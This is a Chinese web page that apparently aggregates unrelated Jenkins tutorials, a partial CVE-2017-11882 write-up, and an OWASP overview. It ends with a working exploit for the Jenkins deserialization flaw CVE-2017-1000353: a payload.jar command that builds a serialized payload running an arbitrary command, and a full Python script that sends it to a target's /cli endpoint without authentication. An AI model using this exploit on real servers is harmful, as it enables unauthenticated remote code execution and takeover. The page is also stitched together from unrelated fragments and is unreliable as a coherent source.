Jenkins远程代码执行漏洞配合dnslog检测漏洞—【CVE-2017-1000353】

合集下载

Jenkins自动化部署,包含通过Publish Over SSH 远程脚本部署

Jenkins自动化部署,包含通过Publish  Over  SSH 远程脚本部署

Windows7系统下Jenkins+Maven+SVN搭建自动部署环境一、安装Jenkins从https://jenkins.io/content/thank-you-downloading-windows-installer/#stable 下载适用于windows7系统的Jenkins版本。

下载完成是msi格式文件,直接点击安装即可。

二、配置Jenkins1、打开cmd进入Jenkins文件夹(C:\Program Files (x86)\Jenkins>),输入命令“java -jar jenkins.war --ajp13Port=-1 --httpPort=8089”即可开启Jenkins服务,后面的绑定端口号可以自行更改。

2、打开http://localhost:8089/进入Jenkins主页面,如果系统没有Maven则首先需要安装Maven,打开“系统管理”页面,选择“系统设置”,在“Maven”一栏点击“新增Maven”,选择“Install from Apache”,保存本页面,在后面编译的时候系统就会自动下载安装Maven。

如果系统安装过Maven,在本页面Maven配置中添加Maven目录就行。

3、要达到自动部署的目的,需要安装Jenkins的部署插件,从/latest/deploy.hpi下载Deploy Plugin插件。

选择“系统管理”菜单的“管理插件”,点击“高级”,并在上传插件的一栏上传刚才下载的hpi文件自动完成插件的安装。

4、返回主页面,由于是第一次进入所以需要创建项目,点击“创建一个新项目”,选择“构建一个maven项目”,点击“OK”进入项目配置页面,详细配置项很多,大部分使用默认配置就可以,下面就说说需要我们修改的几个地方:(1) 源码管理,选择“Subversion”,在“Repository URL”里输入SVN地址,Jenkins会自动验证地址,并给与提示,点击“enter credential”,在次页面下输入SVN用户名和密码并保存。

jenkins 工作原理

jenkins 工作原理

jenkins 工作原理Jenkins是一种自动化工具,用于构建、测试和部署软件项目。

它的工作原理如下:1. 配置管理:Jenkins的工作原理是基于配置管理。

用户可以通过Jenkins的Web界面配置项目的构建和部署过程。

配置包括项目的源代码地址、构建命令、测试命令、部署目标等。

2. 触发器:Jenkins通过不同的触发器来启动项目的构建过程。

触发器可以是时间触发器(定时)、源代码变更触发器(监听代码仓库的变化)或者手动触发器。

3. 构建过程:当触发器触发后,Jenkins将启动项目的构建过程。

首先,Jenkins会从配置中获取项目的源代码,并执行构建命令进行编译、打包等操作。

构建过程中还可以执行其他一些额外的操作,如生成文档、运行静态代码分析等。

4. 测试过程:一旦项目构建完成,Jenkins可以执行预定义的测试命令或脚本,对项目进行自动化测试。

测试结果将被记录下来供后续分析。

5. 部署过程:当项目构建和测试通过后,Jenkins可以根据配置将构建产物自动部署到指定的目标环境中,如测试服务器、生产服务器等。

部署过程可以通过SSH、FTP等协议进行。

6. 结果反馈:Jenkins会将构建、测试和部署过程的结果反馈给用户。

用户可以通过Jenkins的Web界面或者邮件通知来获取构建的状态和结果。

Jenkins还提供了可视化报告和图表,以方便用户查看和分析构建过程中的数据。

总结:Jenkins的工作原理是基于配置管理,通过不同的触发器启动项目的构建过程,执行构建、测试和部署操作,并将结果反馈给用户。

这种自动化工作流程可以帮助团队提高效率、减少错误,并实现持续集成和交付。

使用jenkins进行前端项目自动部署

使用jenkins进行前端项目自动部署

使⽤jenkins进⾏前端项⽬⾃动部署前⾯的话 后端的nodeJS项⽬可以使⽤pm2进⾏⾃动部署,由于前端项⽬打包后是静态资源,不需要进程守护。

⼀般地,前端项⽬使⽤jenkins来进⾏⾃动部署,包括打包、测试等⼀系列流程。

本⽂将详细介绍jenkins的使⽤安装 Jenkins 是⼀款业界流⾏的开源持续集成⼯具,⼴泛⽤于项⽬开发,具有⾃动化构建、测试和部署等功能。

由于 jenkins是基于java环境运⾏的,所以⾸先需要安装java环境 1、安装依赖包,使得add-apt-repository命令可以进⾏apt-get install software-properties-common 2、通过add-apt-repository加载第三⽅的开源软件源sudo add-apt-repository ppa:webupd8team/java 3、更新软件包列表,并安装jdksudo apt-get updatesudo apt-get install oracle-java8-installer 安装器会提⽰同意 oracle 的服务条款,选择 ok,然后选择yes 即可 4、通过查看java版本,来测试java环境是否安装成功xiaohuochai@iZbp13p7zpoi6363d01pugZ:~$ java -versionjava version "1.8.0_171"Java(TM) SE Runtime Environment (build 1.8.0_171-b11)Java HotSpot(TM) 64-Bit Server VM (build 25.171-b11, mixed mode) 5、接下来,按照官⽹的操作要求,安装jenkinswget -q -O - https://pkg.jenkins.io/debian/.key | sudo apt-key add -sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list'sudo apt-get updatesudo apt-get install jenkins 6、安装完成后,jenkins的⽂件⽬录如下所⽰安装⽬录:/var/lib/jenkins⽇志⽬录:/var/log/jenkins/jenkins.log 7、接下来,就可以启动jenkins了service jenkins start 在jenkins启动过程中,可能会遇到如下问题Job for jenkins.service failed 这是因为java环境,没有安装成功,按照上⾯的步骤重新安装java即可 还可能会出现如下警告.UnknownHostException: yonghu: yonghu: 未知的名称或服务 直接修改hosts⽂件(vi /etc/hosts),将原127.0.0.1替换成127.0.0.1 localhost centos-a即可127.0.0.1 localhost yonghu 因为jenkins默认使⽤8080端⼝,如果使⽤阿⾥云,还需要在安全组中开放8080端⼝初始化 启动jenkins服务后,可以在8080端⼝访问到jenkins 然后在服务器的指定⽬录找到密码登录/var/lib/jenkins/secrets/initialAdminPassword 按照默认配置安装插件 等待插件安装完成 创建⼀个管理员账户,完成配置后,就可以登录 Jenkins 了安装插件 下⾯来安装nodejs插件 可以看到,Jenkins提供了丰富的插件供开发者使⽤,找到需要的[NodeJS Plugin],勾选后点击安装即可 3、安装完毕后,选择系统管理->全局⼯具配置,配置node下载及安装git钩⼦ 为了能够与 GitHub 配合,需要进⼊对 GitHub 进⾏⼀些设置 在github中进⼊博客所在的repo,并点击settings。

在自动化测试中使用Jenkins的十个最佳实践

在自动化测试中使用Jenkins的十个最佳实践

在自动化测试中使用Jenkins的十个最佳实践自动化测试在软件开发过程中扮演着至关重要的角色。

尤其是在当今这个高速发展的互联网时代,互联网企业需要快速发布优秀的软件产品以应对商场竞争。

但是,面对日益严峻的市场压力,开发和测试团队需要尽可能地减少手动干预和测试,这就需要进行自动化测试。

而Jenkins作为一款广泛应用的持续集成和自动化测试工具,它可为开发和测试团队提供帮助,在这篇文章中,我们将讨论在自动化测试中使用Jenkins的十个最佳实践。

一、管理Jenkins Job在使用Jenkins之前,我们需要先创建Jenkins Job,这是自动化测试的基本单位。

如果未正确管理Job,则可能产生诸多问题,如管理混乱,导致不必要的失败或误判等。

因此,我们可以采用以下方法来管理Jenkins Job:1.使用Freestyle Job:如果我们仅需要运行自动化测试,那么可以使用自由风格的Freestyle Job。

这种Job不需要任何代码配置,仅需要设置构建步骤即可。

2.使用Pipeline Job:这是更高级的选项。

它可以让我们在一个单独的文件中定义我们的构建过程,这个定义可以使用脚本语言,如Groovy。

该方法灵活且易于维护,但需要一定的学习和实践。

3.使用参数化配置:使用参数化配置可以让我们在构建过程中加入参数,从而更快地定位问题。

我们可以为不同的应用程序实现不同的构建过程,也可以指定在构建过程中需要运行的脚本。

二、使用Jenkins插件Jenkins具有许多插件,这些插件可以帮助我们更好地进行自动化测试。

例如:1.使用“Email Extension”插件:它可以让我们在构建失败时自动发送邮件通知。

2.使用“JUnit”插件:它可以帮助我们处理单元测试报告。

3.使用“Cobertura”插件:它可以帮助我们跟踪代码覆盖率。

4.使用“Git Plugin”插件:它可以让我们从代码库中拉取最新的代码,从而在进行测试之前更新应用程序。

安全测试中的远程代码执行漏洞检测

安全测试中的远程代码执行漏洞检测

安全测试中的远程代码执行漏洞检测在进行安全测试时,远程代码执行漏洞检测是一项非常重要的任务。

远程代码执行漏洞是指攻击者可以通过远程执行恶意代码来获取系统权限并对目标系统进行攻击的漏洞。

本文将介绍远程代码执行漏洞的概念、原理以及常见的检测方法。

一、远程代码执行漏洞概述远程代码执行漏洞是由于程序在处理输入时,未能正确地对外部输入进行过滤或验证,导致攻击者可以通过构造恶意输入,并通过远程执行代码来执行恶意操作。

攻击者可以通过远程执行的代码,获取系统权限、控制目标系统、窃取数据等,造成严重的安全威胁。

二、远程代码执行漏洞的原理远程代码执行漏洞的原理主要基于程序对外部输入的处理不当。

攻击者可以通过构造恶意字符串,绕过程序的输入验证,成功注入恶意代码并远程执行。

这些恶意代码可以是操作系统命令、数据库查询等,攻击者可以通过执行这些恶意代码来获取系统权限、控制目标系统等。

三、常见的远程代码执行漏洞检测方法1. 静态代码分析:通过对源代码进行静态分析,检查是否存在代码执行漏洞。

这种方法可以发现明显的漏洞,但无法检测到动态生成的代码。

2. 动态代码分析:通过运行代码,并监控其执行过程,检测是否有可疑的代码执行行为。

这种方法能够检测到动态生成的代码,但无法保证检测结果的准确性。

3. 模糊测试:通过构造各种各样的恶意输入,对目标系统进行测试,寻找可利用的漏洞。

这种方法需要大量的时间和资源,但是可以发现一些隐蔽的漏洞。

4. 漏洞扫描工具:使用自动化的漏洞扫描工具来检测远程代码执行漏洞。

这些工具会主动发起攻击,测试目标系统的安全性,并给出相应的报告。

四、远程代码执行漏洞的防御方法1. 输入验证:对所有的外部输入进行验证和过滤,确保输入的合法性。

这包括对用户输入、接口输入、数据库查询等的验证。

2. 参数化查询:使用参数化查询来进行数据库操作,避免将用户输入直接拼接到查询语句中,防止 SQL 注入攻击。

3. 最小权限原则:限制程序的权限,避免恶意代码执行后对系统的影响最小化。

CVE-2017-11882漏洞分析总结新手漏洞分析详细教程

CVE-2017-11882漏洞分析总结新手漏洞分析详细教程

CVE-2017-11882漏洞分析总结新⼿漏洞分析详细教程CVE-2017-11882分析总结注:这篇随笔记录了CVE-2017-11882漏洞分析的整个过程,并介绍了相关调试软件的使⽤漏洞信息CVE-2017-11882属于缓冲区溢出类型漏洞,产⽣漏洞原因于EQNEDT32.EXE(微软office⾃带公式编辑器)进程在读⼊包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进⾏校验,导致缓冲区溢出。

通过覆盖函数的返回地址,可执⾏任意代码。

漏洞复现1. 环境配置操作系统:Window 7 专业版(64 位)office软件:office 2003 sp3 完整版poc:注意:office 必须是带有公式编辑功能的,所以不能下载精简版的office。

其次,在安装时必须选择完全安装,防⽌漏掉公式编辑功能。

2. 流程在配置好环境的虚拟机上,打开poc,双机exploit.rtf⽂件,能正常已启动office软件并弹出calc.exe 则成功触发漏洞。

漏洞分析1. 定位漏洞分析漏洞的第⼀步⾃然是定位漏洞。

第⼀步:1. 找到漏洞发⽣在哪个模块,但是第⼀步就遇到了问题。

我⽤processhacker分析进程状态,可以看到WINWOED.EXE 和 calc.exe被创建出来,WINWOED.EXE由explore创建,这个没问题,因为我是双击的⽂件打开的。

calc.exe由 cmd.exe创建,也没问题,说明poc应该是拉起cmd的同时命令⾏传参,打开calc的。

看不到cmd 的⽗进程,这个不合理,⾄少有⼀个进程之类东西负责拉起cmd。

这⾥没显⽰,我感觉有可能是这个⽗进程把⾃⼰隐藏了,或者跑路了。

2. 接着我选择⽤pchunter来检测进程,因为pchunter的检测能⼒较强。

从pchunter中能找到所有进程对应的⽗进程,但是这个关键的cmd的⽗进程id:1872却找不到对应的进程。

python操作jenkinsapi的基础用法

python操作jenkinsapi的基础用法

python操作jenkinsapi的基础用法如何使用Python操作jenkinsapiJenkins是一个用于自动化构建和测试软件项目的开源工具。

jenkinsapi 是一个用于与Jenkins进行交互的Python库。

它使我们能够使用Python 脚本执行各种Jenkins操作,例如创建、启动和监视构建,获取构建信息和日志等。

在本文中,我们将逐步介绍如何使用jenkinsapi进行基本的Jenkins操作。

第一步:安装jenkinsapi库在开始之前,我们首先需要安装jenkinsapi库。

可以使用pip来安装它,打开终端并执行以下命令:pip install jenkinsapi第二步:连接到Jenkins服务器在我们开始使用jenkinsapi进行Jenkins操作之前,我们需要连接到Jenkins服务器。

首先,我们需要获取Jenkins的URL和凭据。

以下是连接到Jenkins服务器的示例代码:pythonfrom jenkinsapi.jenkins import Jenkinsjenkins_url = ' # Jenkins的URLusername = 'your_username' # Jenkins的用户名password = 'your_password' # Jenkins的密码jenkins = Jenkins(jenkins_url, username, password)请确保替换上述代码中的`jenkins_url`,`username`和`password`变量为您的Jenkins的URL、用户名和密码。

第三步:获取Jenkins的基本信息在我们连接到Jenkins服务器后,我们可以执行各种操作。

让我们首先获取Jenkins的一些基本信息,例如版本号、节点列表等。

以下是获取Jenkins 的基本信息的示例代码:pythonprint(f"Jenkins Version: {jenkins.version}")print(f"Total Executors: {jenkins.get_num_executors()}")for node_name, node in jenkins.get_nodes().items():print(f"Node Name: {node_name}")上述代码中的`version`和`get_num_executors()`函数分别返回Jenkins 的版本号和可用的执行器数。

OWASPTOP10漏洞详解以及防护方案

OWASPTOP10漏洞详解以及防护方案

OWASPTOP10漏洞详解以及防护⽅案OWASP TOP 10 漏洞详解以及防护⽅案OWASP介绍官⽹:OWASP TOP10 指出了 WEB 应⽤⾯临最⼤风险的 10 类问题,是⽬前 WEB 应⽤安全⽅⾯最权威的项⽬。

OWASP 是⼀个开源的、⾮盈利全球性安全组织,致⼒于应⽤软件的安全研究。

OWASP 的使命是应⽤软件更加安全,使企业和组织能够对应⽤安全风险作出更清晰的决策。

⽬前OWASP 全球拥有 140 个分会近四万名员,共同推动了安全标准、安全测试⼯具、安全指导⼿册等应⽤安全技术的发展。

OWASP TOP 10A1:2017 注⼊A2:2017 失效的⾝份认证A3:2017 敏感数据泄露A4:2017 XML外部实体A5:2017 失效的访问控制A6:2017 安全配置错误A7:2017 跨站请求脚本(XSS)A8:2013 跨站请求伪造(CSRF)A8:2017 不安全的反序列化A9:2017 使⽤含有已知漏洞的组件A10:2017 不⾜的⽇志记录和监控A1 2017注⼊injection注⼊:⽤户的输⼊被当成命令/代码执⾏或者解析了将不受信⽤的数据作为命令或查询的⼀部分发送到解析器时,会产⽣诸如SQL注⼊、NoSQL注⼊、OS注⼊(操作系统命令)和LDAP()注⼊的注⼊缺陷。

攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执⾏⾮预期命令或访问数据。

⽤户的输⼊并⾮固定位置,可能存在于:输⼊框搜索栏提交表单URL链接所有的GET/POST请求的请求头和请求包头留⾔评论⼏乎任何数据源都有可能成为注⼊载体,只要是能被发出的数据位置可被执⾏的代码:SQLLDAPXpath or NoSQL系统命令XML语⾔SMTP包头表达式语句ORM查询语句危害:该代码能做什么即是危害注⼊的分类通常的注⼊有sql注⼊和命令注⼊SQL注⼊攻击动态页⾯有时会通过脚本引擎将⽤户输⼊的参数按照预先设定的规则构造成SQL语句来进⾏数据库操作。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限。

曝光地址:https:///index.php/archives/3171
影响的范围:
影响低于 2.56 的所有 Jenkins 主线版本
影响低于 2.46.1 的所有 Jenkins LTS 版本
实际操作:
1. 利用老外文章的代码,导出成payload.jar包,用来生成攻击用的payload文件。

可以自定义需要执行的命令:
Jar下载地址:
https:///nobleXu/jenkins/zip/master
java -jar payload.jar jenkins_poc1.ser “/usr/bin/touch /tmp/jenkinsTestNxadmin”
然后利用老外提供的python脚本向jenkins服务器提交post请求,就可以成功在被攻击服务器/tmp目录下生成文件。

也可以使用dnslog之类的来测试,如图:
2、修改jenkins_poc1.py中第13行的URL参数,改为你要攻击的靶机
jenkins_poc1.py 下载链接: https:///s/1misPilU密码: 6qqh
具体代码如下
import urllib
import requests
import uuid
import threading
import time
import gzip
import urllib3
import zlib
proxies = {
# 'http': 'http://127.0.0.1:8090',
# 'https': 'http://127.0.0.1:8090',
}
URL='http://192.168.0.1/cli'
PREAMLE='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=' PROTO = '\x00\x00\x00\x00'
FILE_SER = open("jenkins_poc1.ser", "rb").read()
def download(url, session):
headers = {'Side' : 'download'}
headers['Content-type'] = 'application/x-www-form-urlencoded'
headers['Session'] = session
headers['Transfer-Encoding'] = 'chunked'
r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies, stream=True)
print r.text
def upload(url, session, data):
headers = {'Side' : 'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding'] = None
r = requests.post(url,data=data,headers=headers,proxies=proxies)
def upload_chunked(url,session, data):
headers = {'Side' : 'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding']= None
headers['Transfer-Encoding'] = 'chunked'
headers['Cache-Control'] = 'no-cache'
r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies)
def null_payload():
yield " "
def create_payload():
payload = PREAMLE + PROTO + FILE_SER
return payload
def create_payload_chunked():
yield PREAMLE
yield PROTO
yield FILE_SER
def main():
print "start"
session = str(uuid.uuid4())
t = threading.Thread(target=download, args=(URL, session))
t.start()
time.sleep(1)
print "pwn"
#upload(URL, session, create_payload()) upload_chunked(URL, session, "asdf")
if __name__ == "__main__":
main()
1. 执行py文件。

相关文档
最新文档